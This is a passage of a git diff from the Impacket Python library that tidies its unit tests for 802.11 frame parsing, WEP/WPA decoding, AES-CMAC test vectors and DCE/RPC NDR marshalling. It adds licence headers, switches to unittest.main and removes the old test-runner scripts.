2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +import unittest +from six import PY2 from impacket.dot11 import Dot11Types from impacket.ImpactDecoder import RadioTapDecoder -from six import PY2 -import unittest + class TestDot11ManagementAssociationRequestFrames(unittest.TestCase): @@ -177,5 +182,6 @@ def test_15(self): ]) self.assertEqual(self.management_association_request.get_header_size(), 68+11) -suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11ManagementAssociationRequestFrames) -unittest.TextTestRunner(verbosity=1).run(suite) + +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/dot11/test_FrameManagementAssociationResponse.py b/tests/dot11/test_FrameManagementAssociationResponse.py index 5faf7cf44e..3980978f04 100644 --- a/tests/dot11/test_FrameManagementAssociationResponse.py +++ b/tests/dot11/test_FrameManagementAssociationResponse.py @@ -1,12 +1,17 @@ #!/usr/bin/env python -# sorry, this is very ugly, but I'm in python 2.5 -import sys -sys.path.insert(0,"../..") - +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +import unittest +from six import PY2 from impacket.dot11 import Dot11Types from impacket.ImpactDecoder import RadioTapDecoder -from six import PY2 -import unittest + class TestDot11ManagementAssociationResponseFrames(unittest.TestCase): @@ -161,5 +166,6 @@ def test_14(self): ]) self.assertEqual(self.management_association_response.get_header_size(), 33+11) -suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11ManagementAssociationResponseFrames) -unittest.TextTestRunner(verbosity=1).run(suite) + +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/dot11/test_FrameManagementAuthentication.py b/tests/dot11/test_FrameManagementAuthentication.py index ebe111702d..632c195549 100644 --- a/tests/dot11/test_FrameManagementAuthentication.py +++ b/tests/dot11/test_FrameManagementAuthentication.py @@ -1,12 +1,17 @@ #!/usr/bin/env python -# sorry, this is very ugly, but I'm in python 2.5 -import sys -sys.path.insert(0,"../..") - -from impacket.dot11 import Dot11Types -from impacket.ImpactDecoder import RadioTapDecoder +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# import unittest from six import PY2 +from impacket.dot11 import Dot11Types +from impacket.ImpactDecoder import RadioTapDecoder + class TestDot11ManagementAuthenticationFrames(unittest.TestCase): @@ -149,5 +154,6 @@ def test_13(self): ]) self.assertEqual(self.management_authentication.get_header_size(), 28) -suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11ManagementAuthenticationFrames) -unittest.TextTestRunner(verbosity=1).run(suite) + +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/dot11/test_FrameManagementDeauthentication.py b/tests/dot11/test_FrameManagementDeauthentication.py index 5c37055e50..27b5b360da 100644 --- a/tests/dot11/test_FrameManagementDeauthentication.py +++ b/tests/dot11/test_FrameManagementDeauthentication.py @@ -1,12 +1,17 @@ #!/usr/bin/env python -# sorry, this is very ugly, but I'm in python 2.5 -import sys -sys.path.insert(0,"../..") - -from impacket.dot11 import Dot11Types -from impacket.ImpactDecoder import RadioTapDecoder +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# import unittest from six import PY2 +from impacket.dot11 import Dot11Types +from impacket.ImpactDecoder import RadioTapDecoder + class TestDot11ManagementBeaconFrames(unittest.TestCase): @@ -126,5 +131,6 @@ def test_10(self): self.management_deauthentication.set_reason_code(0x8765) self.assertEqual(self.management_deauthentication.get_reason_code(), 0x8765) -suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11ManagementBeaconFrames) -unittest.TextTestRunner(verbosity=1).run(suite) + +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/dot11/test_FrameManagementDisassociation.py b/tests/dot11/test_FrameManagementDisassociation.py index cbe6576106..c54715ffd9 100644 --- a/tests/dot11/test_FrameManagementDisassociation.py +++ b/tests/dot11/test_FrameManagementDisassociation.py @@ -1,12 +1,17 @@ #!/usr/bin/env python -# sorry, this is very ugly, but I'm in python 2.5 -import sys -sys.path.insert(0,"../..") - -from impacket.dot11 import Dot11Types -from impacket.ImpactDecoder import RadioTapDecoder +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# import unittest from six import PY2 +from impacket.dot11 import Dot11Types +from impacket.ImpactDecoder import RadioTapDecoder + class TestDot11ManagementDisassociationFrames(unittest.TestCase): @@ -126,5 +131,6 @@ def test_10(self): self.management_disassociation.set_reason_code(0x8765) self.assertEqual(self.management_disassociation.get_reason_code(), 0x8765) -suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11ManagementDisassociationFrames) -unittest.TextTestRunner(verbosity=1).run(suite) + +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/dot11/test_FrameManagementProbeRequest.py b/tests/dot11/test_FrameManagementProbeRequest.py index 9e4c2b7c7b..16fdebaf1e 100644 --- a/tests/dot11/test_FrameManagementProbeRequest.py +++ b/tests/dot11/test_FrameManagementProbeRequest.py @@ -1,12 +1,17 @@ #!/usr/bin/env python -# sorry, this is very ugly, but I'm in python 2.5 -import sys -sys.path.insert(0,"../..") - +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +import unittest +from six import PY2 from impacket.dot11 import Dot11Types from impacket.ImpactDecoder import RadioTapDecoder -from six import PY2 -import unittest + class TestDot11ManagementProbeRequestFrames(unittest.TestCase): @@ -138,5 +143,6 @@ def test_11(self): self.assertEqual(self.management_probe_request.get_supported_rates(human_readable=True), (2.0, 5.5, 11.0, 6.0, 9.0, 12.0) ) self.assertEqual(self.management_probe_request.get_header_size(), 23-2) -suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11ManagementProbeRequestFrames) -unittest.TextTestRunner(verbosity=1).run(suite) + +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/dot11/test_FrameManagementProbeResponse.py b/tests/dot11/test_FrameManagementProbeResponse.py index 624d04e83e..1ce8c79f7c 100644 --- a/tests/dot11/test_FrameManagementProbeResponse.py +++ b/tests/dot11/test_FrameManagementProbeResponse.py @@ -1,12 +1,17 @@ #!/usr/bin/env python -# sorry, this is very ugly, but I'm in python 2.5 -import sys -sys.path.insert(0,"../..") - -from impacket.dot11 import Dot11Types -from impacket.ImpactDecoder import RadioTapDecoder +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# import unittest from six import PY2 +from impacket.dot11 import Dot11Types +from impacket.ImpactDecoder import RadioTapDecoder + class TestDot11ManagementProbeResponseFrames(unittest.TestCase): @@ -187,5 +192,6 @@ def test_16(self): ]) self.assertEqual(self.management_probe_response.get_header_size(), 209+6+3+2) -suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11ManagementProbeResponseFrames) -unittest.TextTestRunner(verbosity=1).run(suite) + +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/dot11/test_FrameManagementReassociationRequest.py b/tests/dot11/test_FrameManagementReassociationRequest.py index 8de9f91bb5..d856a2dec5 100644 --- a/tests/dot11/test_FrameManagementReassociationRequest.py +++ b/tests/dot11/test_FrameManagementReassociationRequest.py @@ -1,12 +1,17 @@ #!/usr/bin/env python -# sorry, this is very ugly, but I'm in python 2.5 -import sys -sys.path.insert(0,"../..") - +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +import unittest +from six import PY2 from impacket.dot11 import Dot11Types from impacket.ImpactDecoder import RadioTapDecoder -from six import PY2 -import unittest + class TestDot11ManagementReassociationRequestFrames(unittest.TestCase): @@ -182,5 +187,6 @@ def test_16(self): ]) self.assertEqual(self.management_reassociation_request.get_header_size(), 74+11) -suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11ManagementReassociationRequestFrames) -unittest.TextTestRunner(verbosity=1).run(suite) + +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/dot11/test_FrameManagementReassociationResponse.py b/tests/dot11/test_FrameManagementReassociationResponse.py index d2dc58daf1..02df6b1607 100644 --- a/tests/dot11/test_FrameManagementReassociationResponse.py +++ b/tests/dot11/test_FrameManagementReassociationResponse.py @@ -1,12 +1,17 @@ #!/usr/bin/env python -# sorry, this is very ugly, but I'm in python 2.5 -import sys -sys.path.insert(0,"../..") - -from impacket.dot11 import Dot11Types -from impacket.ImpactDecoder import RadioTapDecoder +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# import unittest from six import PY2 +from impacket.dot11 import Dot11Types +from impacket.ImpactDecoder import RadioTapDecoder + class TestDot11ManagementReassociationResponseFrames(unittest.TestCase): @@ -161,5 +166,6 @@ def test_14(self): ]) self.assertEqual(self.management_reassociation_response.get_header_size(), 33+11) -suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11ManagementReassociationResponseFrames) -unittest.TextTestRunner(verbosity=1).run(suite) + +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/dot11/test_RadioTap.py b/tests/dot11/test_RadioTap.py index 618ac04a14..ae14a52d8c 100644 --- a/tests/dot11/test_RadioTap.py +++ b/tests/dot11/test_RadioTap.py @@ -1,9 +1,13 @@ #!/usr/bin/env python -# sorry, this is very ugly, but I'm in python 2.5 -import sys +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# import unittest -sys.path.insert(0, "../..") - from impacket.dot11 import RadioTap from impacket.ImpactPacket import Data @@ -576,6 +580,6 @@ def test_31_radiotap_present_flags_extended(self): self.assertEqual(self.rt3.get_rate(), 2) self.assertEqual(self.rt3.get_dBm_ant_signal(), 0xa6) -if __name__ == "__main__": - suite = unittest.TestLoader().loadTestsFromTestCase(TestRadioTap) - unittest.TextTestRunner(verbosity=1).run(suite) + +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/dot11/test_RadioTapDecoder.py b/tests/dot11/test_RadioTapDecoder.py index 8cffa143cd..1463e5235c 100644 --- a/tests/dot11/test_RadioTapDecoder.py +++ b/tests/dot11/test_RadioTapDecoder.py @@ -1,12 +1,18 @@ #!/usr/bin/env python -# sorry, this is very ugly, but I'm in python 2.5 -import sys -sys.path.insert(0,"../..") - -from impacket.ImpactDecoder import RadioTapDecoder -import impacket.dot11, impacket.ImpactPacket +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# import unittest from six import PY2 +import impacket.dot11 +import impacket.ImpactPacket +from impacket.ImpactDecoder import RadioTapDecoder + class TestRadioTapDecoder(unittest.TestCase): @@ -106,5 +112,6 @@ def test_06(self): p=self.radiotap_decoder.get_protocol(impacket.dot11.Dot11WPA) self.assertEqual(p, None) -suite = unittest.TestLoader().loadTestsFromTestCase(TestRadioTapDecoder) -unittest.TextTestRunner(verbosity=1).run(suite) + +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/dot11/test_WEPDecoder.py b/tests/dot11/test_WEPDecoder.py index 5e06f75132..8fdbb14496 100644 --- a/tests/dot11/test_WEPDecoder.py +++ b/tests/dot11/test_WEPDecoder.py @@ -1,15 +1,20 @@ #!/usr/bin/env python -# sorry, this is very ugly, but I'm in python 2.5 -import sys -sys.path.insert(0,"../..") - +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +import unittest +from six import PY2 +from binascii import unhexlify from impacket.dot11 import Dot11,Dot11Types,Dot11DataFrame,Dot11WEP,Dot11WEPData from impacket.ImpactPacket import IP,ICMP from impacket.Dot11KeyManager import KeyManager from impacket.ImpactDecoder import Dot11Decoder -from binascii import unhexlify -import unittest -from six import PY2 + class TestDot11WEPData(unittest.TestCase): @@ -124,7 +129,7 @@ def test_06(self): dot11_decoder.FCS_at_end(False) dot11_decoder.set_key_manager(self.km) dot11_decoder.decode(self.dot11frame) - wep = dot11_decoder.get_protocol(Dot11WEP) + dot11_decoder.get_protocol(Dot11WEP) wepdata = dot11_decoder.get_protocol(Dot11WEPData) decrypted = b'\xaa\xaa\x03\x00\x00\x00\x08\x00\x45\x00\x00\x3c\xa6\x07\x00\x00\x80\x01\xee\x5a\xc0\xa8\x01\x66\x40\xe9\xa3\x67\x08\x00\xc5\x56\x04\x00\x84\x05\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x61\x62\x63\x64\x65\x66\x67\x68\x69\xa1\xf9\x39\x85' self.assertEqual(wepdata.get_packet(), decrypted) @@ -138,5 +143,6 @@ def test_06(self): self.assertEqual(icmp.get_icmp_type(),icmp.ICMP_ECHO) self.assertEqual(icmp.get_icmp_id(),0x0400) -suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11WEPData) -unittest.TextTestRunner(verbosity=1).run(suite) + +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/dot11/test_WEPEncoder.py b/tests/dot11/test_WEPEncoder.py index 4ce8794b3c..686a03265a 100644 --- a/tests/dot11/test_WEPEncoder.py +++ b/tests/dot11/test_WEPEncoder.py @@ -1,13 +1,18 @@ #!/usr/bin/env python -# sorry, this is very ugly, but I'm in python 2.5 -import sys -sys.path.insert(0,"../..") - +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +import unittest +from binascii import unhexlify import impacket.dot11 import impacket.ImpactPacket from impacket.Dot11KeyManager import KeyManager -from binascii import unhexlify -import unittest + class TestDot11WEPData(unittest.TestCase): @@ -119,5 +124,6 @@ def test_03(self): self.wep.encrypt_frame(unhexlify('999cbb701ca2ef030e302dcc35')) #print "\nDot11 encrypted [%s]"%hexlify(self.dot11.get_packet()) -suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11WEPData) -unittest.TextTestRunner(verbosity=1).run(suite) + +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/dot11/test_WPA.py b/tests/dot11/test_WPA.py index 29b12139b3..e0ec7ec464 100644 --- a/tests/dot11/test_WPA.py +++ b/tests/dot11/test_WPA.py @@ -1,10 +1,14 @@ #!/usr/bin/env python -# sorry, this is very ugly, but I'm in python 2.5 -import sys -sys.path.insert(0,"../..") - -from impacket.dot11 import Dot11,Dot11Types,Dot11DataFrame,Dot11WPA,Dot11WPAData +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# import unittest +from impacket.dot11 import Dot11,Dot11Types,Dot11DataFrame,Dot11WPA,Dot11WPAData class TestDot11WPAData(unittest.TestCase): @@ -109,5 +113,6 @@ def test_10_get_icv(self): self.assertEqual(self.wpa_data.get_icv(), 0x8edb7b9e) -suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11WPAData) -unittest.TextTestRunner(verbosity=1).run(suite) + +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/dot11/test_WPA2.py b/tests/dot11/test_WPA2.py index 30e0241281..4f3bb2a60f 100644 --- a/tests/dot11/test_WPA2.py +++ b/tests/dot11/test_WPA2.py @@ -1,10 +1,15 @@ #!/usr/bin/env python -# sorry, this is very ugly, but I'm in python 2.5 -import sys -sys.path.insert(0,"../..") - -from impacket.dot11 import Dot11,Dot11Types,Dot11DataFrame,Dot11WPA2,Dot11WPA2Data +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# import unittest +from impacket.dot11 import Dot11,Dot11Types,Dot11DataFrame,Dot11WPA2,Dot11WPA2Data + class TestDot11WPA2Data(unittest.TestCase): @@ -94,5 +99,6 @@ def test_08_mic(self): self.wpa2_data.set_MIC(mic) self.assertEqual(self.wpa2_data.get_MIC(), mic) -suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11WPA2Data) -unittest.TextTestRunner(verbosity=1).run(suite) + +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/dot11/test_helper.py b/tests/dot11/test_helper.py index 8b10dec22d..6418515a20 100644 --- a/tests/dot11/test_helper.py +++ b/tests/dot11/test_helper.py @@ -1,25 +1,22 @@ #!/usr/bin/env python -# Copyright (c) 2003-2013 CORE Security Technologies +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# $Id$ -# # Description: -# Tests for helper used to build ProtocolPackets +# Tests for helper used to build ProtocolPackets # # Author: -# Aureliano Calvo - -# sorry, this is very ugly, but I'm in python 2.5 -import sys -sys.path.insert(0,"../../..") - +# Aureliano Calvo +# import unittest import impacket.helper as h + class TestHelpers(unittest.TestCase): def test_well_formed(self): @@ -53,5 +50,5 @@ class MockPacket(h.ProtocolPacket): self.assertEqual(p.get_packet(), MockPacket(p.get_packet()).get_packet()) # it is the same packet after reprocessing. -suite = unittest.TestLoader().loadTestsFromTestCase(TestHelpers) -unittest.TextTestRunner(verbosity=1).run(suite) +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/dot11/test_wps.py b/tests/dot11/test_wps.py index 144762f65c..3cea58e527 100644 --- a/tests/dot11/test_wps.py +++ b/tests/dot11/test_wps.py @@ -1,27 +1,21 @@ #!/usr/bin/env python -# Copyright (c) 2003-2013 CORE Security Technologies +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# $Id$ -# # Description: -# Tests for WPS packets +# Tests for WPS packets # # Author: -# Aureliano Calvo - - -# sorry, this is very ugly, but I'm in python 2.5 -import sys -sys.path.insert(0,"../../..") - - +# Aureliano Calvo +# import unittest -from impacket import wps import array +from impacket import wps class TestTLVContainer(unittest.TestCase): @@ -50,7 +44,8 @@ def testNormalUsageContainer(self): self.assertEqual(v, tlvc2.first(k)) self.assertEqual(tlvc.to_ary(), tlvc2.to_ary()) - self.assertEquals(b"Sarlanga", tlvc.first(1)) + self.assertEqual(b"Sarlanga", tlvc.first(1)) + -suite = unittest.TestLoader().loadTestsFromTestCase(TestTLVContainer) -unittest.TextTestRunner(verbosity=1).run(suite) +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/misc/__init__.py b/tests/misc/__init__.py new file mode 100644 index 0000000000..3424c5ef25 --- /dev/null +++ b/tests/misc/__init__.py @@ -0,0 +1,7 @@ +#!/usr/bin/env python +# SECUREAUTH LABS. Copyright 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# diff --git a/tests/misc/runalltestcases.bat b/tests/misc/runalltestcases.bat deleted file mode 100644 index 98397c8a23..0000000000 --- a/tests/misc/runalltestcases.bat +++ /dev/null @@ -1,2 +0,0 @@ - -FOR /f "tokens=*" %%G IN ('dir /B *.py') DO %%G \ No newline at end of file diff --git a/tests/misc/runalltestcases.sh b/tests/misc/runalltestcases.sh deleted file mode 100755 index 4c5bc59426..0000000000 --- a/tests/misc/runalltestcases.sh +++ /dev/null @@ -1,48 +0,0 @@ -#!/bin/bash -separator='======================================================================' - -export PYTHONPATH=../..:$PYTHONPATH - -if [ $# -gt 0 ] -then - # Only run coverage when called by tox - RUN="python -m coverage run --append --rcfile=../coveragerc " -else - RUN=python -fi - -total=0 -ok=0 -failed=0 -for file in `ls *.py` ; do - echo $separator - echo Executing $RUN $file - latest=$( - $RUN $file 2>&1 | { - while read line; do - echo " $line" 1>&2 - latest="$line" - done - echo $latest - } - ) - #echo Latest ${latest} - result=${latest:0:6} - if [ "$result" = "FAILED" ] - then - (( failed++ )) - elif [ "$result" = "OK" ] - then - (( ok++ )) - fi - - (( total++ )) -done -echo $separator -echo Summary: -echo " OK $ok/$total" -echo " $failed FAILED" -if [ "$failed" -gt 0 ]; then - echo "ERROR" >&2 - exit 1 -fi diff --git a/tests/misc/test_crypto.py b/tests/misc/test_crypto.py index 361a411fb9..af4938d504 100644 --- a/tests/misc/test_crypto.py +++ b/tests/misc/test_crypto.py @@ -1,54 +1,67 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# from __future__ import print_function, division import unittest from binascii import hexlify, unhexlify from impacket.crypto import Generate_Subkey, AES_CMAC, AES_CMAC_PRF_128 + def by8(s): - return [s[i:i+8] for i in range(0,len(s),8)] + return [s[i:i + 8] for i in range(0, len(s), 8)] + def hex8(b): return ' '.join(by8(hexlify(b).decode('ascii'))) -def pp(prev ,s): - print (prev, end= ' ') + +def pp(prev, s): + print(prev, end=' ') for c in by8(s): print(c, end=' ') -# for i in range((len(s)//8)): -# print("%s" % (s[:8]), end = ' ') -# s = s[8:] + # for i in range((len(s)//8)): + # print("%s" % (s[:8]), end = ' ') + # s = s[8:] print() return '' + class CryptoTests(unittest.TestCase): def test_subkey(self): K = "2b7e151628aed2a6abf7158809cf4f3c" - M = "6bc1bee22e409f96e93d7e117393172aae2d8a571e03ac9c9eb76fac45af8e5130c81c46a35ce411e5fbc1191a0a52eff69f2445df4f9b17ad2b417be66c3710" + M = "6bc1bee22e409f96e93d7e117393172aae2d8a571e03ac9c9eb76fac45af8e5130c81c46a35ce411e5fbc1191a0a52eff69f2445df4f9b17ad2b417be66c3710" # noqa K1, K2 = Generate_Subkey(unhexlify(K)) - self.assertEqual(hex8(K1),'fbeed618 35713366 7c85e08f 7236a8de') - self.assertEqual(hex8(K2),'f7ddac30 6ae266cc f90bc11e e46d513b') + self.assertEqual(hex8(K1), 'fbeed618 35713366 7c85e08f 7236a8de') + self.assertEqual(hex8(K2), 'f7ddac30 6ae266cc f90bc11e e46d513b') def test_AES_CMAC(self): K = "2b7e151628aed2a6abf7158809cf4f3c" M = "6bc1bee22e409f96e93d7e117393172aae2d8a571e03ac9c9eb76fac45af8e5130c81c46a35ce411e5fbc1191a0a52eff69f2445df4f9b17ad2b417be66c3710" # Example 1: len = 0 - self.assertEqual(hex8(AES_CMAC(unhexlify(K),unhexlify(M),0)), + self.assertEqual(hex8(AES_CMAC(unhexlify(K), unhexlify(M), 0)), 'bb1d6929 e9593728 7fa37d12 9b756746') # Example 2: len = 16 - self.assertEqual(hex8(AES_CMAC(unhexlify(K),unhexlify(M),16)), + self.assertEqual(hex8(AES_CMAC(unhexlify(K), unhexlify(M), 16)), '070a16b4 6b4d4144 f79bdd9d d04a287c') # Example 3: len = 40 - self.assertEqual(hex8(AES_CMAC(unhexlify(K),unhexlify(M),40)), + self.assertEqual(hex8(AES_CMAC(unhexlify(K), unhexlify(M), 40)), 'dfa66747 de9ae630 30ca3261 1497c827') # Example 3: len = 64 - self.assertEqual(hex8(AES_CMAC(unhexlify(K),unhexlify(M),64)), + self.assertEqual(hex8(AES_CMAC(unhexlify(K), unhexlify(M), 64)), '51f0bebf 7e3b9d92 fc497417 79363cfe') M = "eeab9ac8fb19cb012849536168b5d6c7a5e6c5b2fcdc32bc29b0e3654078a5129f6be2562046766f93eebf146b" K = "6c3473624099e17ff3a39ff6bdf6cc38" # Mac = dbf63fd93c4296609e2d66bf79251cb5 # Example 4: len = 45 - self.assertEqual(hex8(AES_CMAC(unhexlify(K),unhexlify(M),45)), + self.assertEqual(hex8(AES_CMAC(unhexlify(K), unhexlify(M), 45)), 'dbf63fd9 3c429660 9e2d66bf 79251cb5') def test_AES_CMAC_PRF_128(self): @@ -57,14 +70,15 @@ def test_AES_CMAC_PRF_128(self): # AES-CMAC-PRF-128 Test Vectors # Example 1: len = 0, Key Length 18 - self.assertEqual(hex8(AES_CMAC_PRF_128(unhexlify(K),unhexlify(M),18,len(unhexlify(M)))), + self.assertEqual(hex8(AES_CMAC_PRF_128(unhexlify(K), unhexlify(M), 18, len(unhexlify(M)))), '84a348a4 a45d235b abfffc0d 2b4da09a') # Example 1: len = 0, Key Length 16 - self.assertEqual(hex8(AES_CMAC_PRF_128(unhexlify(K)[:16],unhexlify(M),16,len(unhexlify(M)))), + self.assertEqual(hex8(AES_CMAC_PRF_128(unhexlify(K)[:16], unhexlify(M), 16, len(unhexlify(M)))), '980ae87b 5f4c9c52 14f5b6a8 455e4c2d') # Example 1: len = 0, Key Length 10 - self.assertEqual(hex8(AES_CMAC_PRF_128(unhexlify(K)[:10],unhexlify(M),10,len(unhexlify(M)))), + self.assertEqual(hex8(AES_CMAC_PRF_128(unhexlify(K)[:10], unhexlify(M), 10, len(unhexlify(M)))), '290d9e11 2edb09ee 141fcf64 c0b72f3d') + if __name__ == "__main__": unittest.main(verbosity=1) diff --git a/tests/misc/test_dcerpc_v5_ndr.py b/tests/misc/test_dcerpc_v5_ndr.py index f9c1b252f5..8b20776211 100644 --- a/tests/misc/test_dcerpc_v5_ndr.py +++ b/tests/misc/test_dcerpc_v5_ndr.py @@ -1,6 +1,15 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# from __future__ import print_function import unittest -from binascii import hexlify, unhexlify +from binascii import hexlify from impacket.dcerpc.v5.ndr import (NDRSTRUCT, NDRLONG, NDRSHORT, NDRUniFixedArray, @@ -10,25 +19,28 @@ NDRConformantVaryingString, NDRPOINTERNULL) + def hexl(b): hexstr = str(hexlify(b).decode('ascii')) - return ' '.join([hexstr[i:i+8] for i in range(0,len(hexstr),8)]) + return ' '.join([hexstr[i:i + 8] for i in range(0, len(hexstr), 8)]) + -class NDRTest(unittest.TestCase): - def create(self,data = None, isNDR64 = False): +class NDRTest(object): + + def create(self, data=None, isNDR64=False): if data is not None: - return self.theClass(data, isNDR64 = isNDR64) + return self.theClass(data, isNDR64=isNDR64) else: - return self.theClass(isNDR64 = isNDR64) + return self.theClass(isNDR64=isNDR64) - def do_test(self, isNDR64 = False): - a = self.create(isNDR64 = isNDR64) + def do_test(self, isNDR64=False): + a = self.create(isNDR64=isNDR64) self.populate(a) # packing... a_str = a.getData() self.check_data(a_str, isNDR64) # unpacking... - b = self.create(a_str, isNDR64 = isNDR64) + b = self.create(a_str, isNDR64=isNDR64) b_str = b.getData() self.assertEqual(b_str, a_str) @@ -48,29 +60,36 @@ def check_data(self, a_str, isNDR64): # Show result, to aid adding regression check print(self.__class__.__name__, isNDR64, hexl(a_str)) -class TestUniFixedArray(NDRTest): + +class TestUniFixedArray(NDRTest, unittest.TestCase): class theClass(NDRSTRUCT): structure = ( ('Array', NDRUniFixedArray), ) + def populate(self, a): a['Array'] = b'12345678' + hexData = '31323334 35363738' hexData64 = hexData -class TestStructWithPad(NDRTest): + +class TestStructWithPad(NDRTest, unittest.TestCase): class theClass(NDRSTRUCT): structure = ( ('long', NDRLONG), ('short', NDRSHORT), ) + def populate(self, a): a['long'] = 0xaa a['short'] = 0xbb + hexData = 'aa000000 bb00' hexData64 = hexData -#class TestUniConformantArray(NDRTest): + +# class TestUniConformantArray(NDRTest): # class theClass(NDRCall): # structure = ( # ('Array', PNDRUniConformantArray), @@ -94,58 +113,70 @@ def populate(self, a): # a['Array'] = array # a['Array2'] = array -class TestUniVaryingArray(NDRTest): +class TestUniVaryingArray(NDRTest, unittest.TestCase): class theClass(NDRSTRUCT): structure = ( ('Array', NDRUniVaryingArray), ) + def populate(self, a): a['Array'] = b'12345678' + hexData = '00000000 08000000 31323334 35363738' hexData64 = '00000000 00000000 08000000 00000000 31323334 35363738' -class TestUniConformantVaryingArray(NDRTest): + +class TestUniConformantVaryingArray(NDRTest, unittest.TestCase): class 